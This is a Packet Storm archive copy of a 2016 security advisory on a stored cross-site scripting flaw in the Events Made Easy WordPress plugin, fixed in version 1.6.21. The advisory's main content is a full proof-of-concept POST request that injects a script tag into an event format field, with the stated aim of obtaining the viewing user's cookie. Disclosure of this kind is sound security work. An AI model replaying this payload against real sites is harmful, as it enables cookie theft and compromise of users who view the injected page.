Twenty Year Anniversary

WordPress Events Made Easy Cross Site Scripting

WordPress Events Made Easy Cross Site Scripting
Posted Aug 4, 2016
Authored by Securify B.V., Job Diesveld

WordPress Events Made Easy plugin versions prior to 1.6.21 suffer from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 1ada1d4be92f5a500e6b62470fb70afd

WordPress Events Made Easy Cross Site Scripting

Change Mirror Download
------------------------------------------------------------------------
Cross-Site Scripting vulnerability in Events Made Easy WordPress plugin
------------------------------------------------------------------------
Job Diesveld, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A Cross-Site Scripting vulnerability has been found in the Events Made
Easy WordPress plugin. By using this issue an attacker can create a
specially crafted event which, when posted to WordPress, injects
malicious JavaScript code into the application. This code will execute
within the browser of any user who views the relevant application
content.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160729-0001

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue has been fixed in Events Made Easy plugin version 1.6.21.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_events_made_easy_wordpress_plugin.html

Proof of Concept

The following request can be used to create an event containing JavaScript that will obtain the cookie of the current user:


POST /wp-admin/admin.php?page=events-manager&eme_admin_action=update_event&event_id=16 HTTP/1.1
Host: <target>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: <session cookies>
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------224523339434990794855940370
Content-Length: 8579

-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_status"

5
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_contactperson_id"

-1
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_seats"

0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="price"

0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="currency"

EUR
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_max_allowed"

10
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_min_allowed"

1
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_rsvp_discount"


-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_rsvp_discountgroup"


-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="rsvp_number_days"

0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="rsvp_number_hours"

0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_rsvp_end_target"

start
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_name"

fooname
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_slug"

fooname
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="localised_recurrence_date"

07/29/2016
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="recurrence_start_date"

2016-07-29
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="localised_recurrence_end_date"

07/29/2016
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="recurrence_end_date"

2016-07-29
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="recurrence_freq"

daily
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="recurrence_interval"


-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="recurrence_byweekno"

1
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="recurrence_byday"

1
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="localised_event_start_date"

07/29/2016
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_start_date"

2016-07-29
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="localised_event_end_date"

07/29/2016
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_end_date"

2016-07-29
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_start_time"

01:22PM
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_end_time"

01:22PM
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_event_page_title_format_tpl"

0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_page_title_format"

lalalala
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_event_single_event_format_tpl"

0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_single_event_format"

<p>#_STARTDATE - #_STARTTIME</p><p>#_TOWN</p><p>#_NOTES</p><p>#_ADDBOOKINGFORM</p><p>#_MAP</p><script>alert(document.cookies)</script>
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_event_contactperson_email_body_tpl"

0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_contactperson_email_body"


-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_event_registration_recorded_ok_html_tpl"

0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_registration_recorded_ok_html"


-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_event_respondent_email_body_tpl"

0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_respondent_email_body"


-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_event_registration_pending_email_body_tpl"

0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_registration_pending_email_body"


-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_event_registration_updated_email_body_tpl"

0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_registration_updated_email_body"


-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_event_registration_cancelled_email_body_tpl"

0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_registration_cancelled_email_body"

Dear #_RESPNAME,

Your request to reserve #_RESPSPACES space(s) for #_EVENTNAME has been cancelled.

Yours faithfully,awfe
#_CONTACTPERSON
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_event_registration_denied_email_body_tpl"

0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_registration_denied_email_body"

Dear #_RESPNAME,

Your request to reserve #_RESPSPACES space(s) for #_EVENTNAME has been denied.

Yours faithfully,
#_CONTACTPERSONawef
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_event_registration_form_format_tpl"

0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_registration_form_format"


-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_event_cancel_form_format_tpl"

0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_cancel_form_format"


-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="location_name"

piet
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="location_address"

kaas
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="location_town"

foo
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="location_latitude"

57.198
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="location_longitude"

9.67063
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="content"

gold
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_image_url"


-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_image_id"


-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_url"


-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_update_button"

Update AA>>
-----------------------------224523339434990794855940370


------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    10 Files
  • 2
    Nov 2nd
    15 Files
  • 3
    Nov 3rd
    2 Files
  • 4
    Nov 4th
    2 Files
  • 5
    Nov 5th
    32 Files
  • 6
    Nov 6th
    27 Files
  • 7
    Nov 7th
    8 Files
  • 8
    Nov 8th
    9 Files
  • 9
    Nov 9th
    17 Files
  • 10
    Nov 10th
    2 Files
  • 11
    Nov 11th
    2 Files
  • 12
    Nov 12th
    33 Files
  • 13
    Nov 13th
    29 Files
  • 14
    Nov 14th
    23 Files
  • 15
    Nov 15th
    45 Files
  • 16
    Nov 16th
    11 Files
  • 17
    Nov 17th
    1 Files
  • 18
    Nov 18th
    1 Files
  • 19
    Nov 19th
    3 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close